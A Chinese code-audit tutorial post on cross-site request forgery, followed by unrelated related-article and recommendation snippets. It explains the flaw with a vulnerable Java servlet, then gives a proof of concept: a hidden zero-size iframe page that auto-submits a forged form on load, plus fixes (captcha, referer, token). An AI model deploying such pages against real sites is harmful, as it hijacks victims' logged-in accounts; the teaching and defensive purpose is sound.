跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造

漏洞危害:攻击者盗用了你的身份信息,以你的名义发送恶意请求,如发送邮件,消息,盗取你的账号,甚至购买物品,虚拟货币转账等

漏洞本质:攻击者获取到重要参数,成功构造一个伪造请求,如http://www.xx.xx/xx.php?xx=xx&&id=1

挖掘思路:管理后台,会员中心,添加用户等,被引用的核心文件里面有没有验证token和referer相关的代码,没带token可以直接请求这个页面,没带referer则返回相同的数据

代码:
HttpServletRequest request, HttpServletResponse response)
{
    int userid=Integer.valueOf( request.getSession().getAttribute("userid").toString());
    String email=request.getParameter("email");
    String tel=request.getParameter("tel");
    String realname=request.getParameter("realname");
    Object[] params = new Object[4];
    params[0] = email;
    params[1] = tel;
    params[2] = realname;
    params[3] = userid;
    final String sql = "update user set email=?,tel=?,realname=? where userid=?";
    conn.execUpdate(sql,params);
}

代码中接收用户提交的参数“email,tel,realname”,之后修改了该用户的数据,一旦接收到一个用户发来的请求,就执行修改操作。提交表单代码:

<form action="http://localhost/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>
当用户点提交时,就会触发修改操作,如果“代码示例”中的代码,是xxxx.com上的一个web应用,那么恶意用户为了攻击xxxx.com的登录用户,可以构造2个HTML页面。

页面a.htm中,iframe一下b.htm,把宽和高都设为0。

<iframe src="b.htm" width="0" height="0"></frame> 这是为了当攻击发生时,受害用户看不到提交成功结果页面。
页面b.htm中,有一个表单,和一段脚本,脚本的作用是,当页面加载时,自动提交这个表单
<form id="modify" action="http://xxxx.com/servlet/modify" method="POST">
    <input name="email">
    <input name="tel">
    <input name="realname">
    <input name="userid">
    <input type="submit">
</form>

<script>
    document.getElementById("modify").submit();
</script>
攻击者只要把页面a.htm放在自己的web服务器上,并发送给登录用户即可。
用户打开a.htm后,会自动提交表单,发送给xxxx.com下的那个存在CSRF漏洞的web应用,所以用户的信息,就被迫修改了。

修复方案:验证码,添加referer验证,添加token验证

php代码审计7审计csrf漏洞的更多相关文章

  1. php代码审计9审计反序列化漏洞

    序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根 ...

  2. php代码审计6审计xss漏洞

    跨站脚本攻击(Cross Site Scripting)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的html代码,从而盗取用户资料,利用用户身份进行某种动作或者对 ...

  3. 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  4. PHP代码审计笔记--CSRF漏洞

    0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...

  5. 2020/1/30 PHP代码审计之CSRF漏洞

    0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...

  6. 代码审计中的CSRF

    0x00 背景 CSRF漏洞中文名为“跨站请求伪造”,英文别名为“one-click-attack”.从字面上我们就可以看出,这是一种劫持其他用户进行非法请求的攻击方式,主要用于越权操作,与XSS相比 ...

  7. CSRF 漏洞测试

    CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...

  8. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  9. 浅谈CSRF漏洞

    前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的.   歌曲:   正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...

随机推荐

  1. HTML篇

    要内容 web标准 浏览器介绍 开发工具介绍 HTML介绍 HTML颜色介绍 HTML规范 HTML结构详解 一.web标准 web准备介绍: w3c:万维网联盟组织,用来制定web标准的机构(组织) ...

  2. Tuple、list的区别以及dict和set

    元组(Tuple): 定义方法:使用小括号() 使用方法: count:可以统计某个元组段在整个元组中出现的次数 index:可以查询某个元组段在整个元组中的元组号 name_tuple = ('xi ...

  3. Android 4 学习(16):Database and Content Providers

    参考<Professional Android 4 Development> Database and Content Providers Android Database简介 Andro ...

  4. Swift中用正规表达式判断String是否是手机号码

    func isTelNumber(num:NSString)->Bool { var mobile = "^1(3[0-9]|5[0-35-9]|8[025-9])\\d{8}$&qu ...

  5. fatal error C1083: 无法打开包括文件:“qedit.h”: No such file or directory

    VS2010编译 DirectShow一些项目时遇到 错误:fatal error C1083: 无法打开包括文件:“qedit.h”: No such file or directory 解决方法: ...

  6. linux中ftp配置文件详解

    vsftpd配置文件采用"#"作为注释符,以"#"开头的行和空白行在解析时将被忽略,其余的行被视为配置命令行,每个配置命令的"="两边不要留 ...

  7. hive自带的字符串函数

    1. 字符串长度函数:length 语法: length(string A) 返回值: int 说明:返回字符串A的长度 举例: hive> select length('abcedfg') f ...

  8. vbs获取html内容

    Dim content,name,password,arr,pos msg1="请输入ip和端口号地址"&chr(13)&chr(10)&"如ht ...

  9. DAY.15_Python

    昨天完成了三级菜单和购物车程序的作业: """ .__author__.=,"JerseyHg" 作业要求:1. 可依次选择进入到下一级菜单:2. 可 ...

  10. 【bzoj1479】[NOI2006]最大获利

    1497: [NOI2006]最大获利 Time Limit: 5 Sec  Memory Limit: 64 MBSubmit: 4335  Solved: 2123[Submit][Status] ...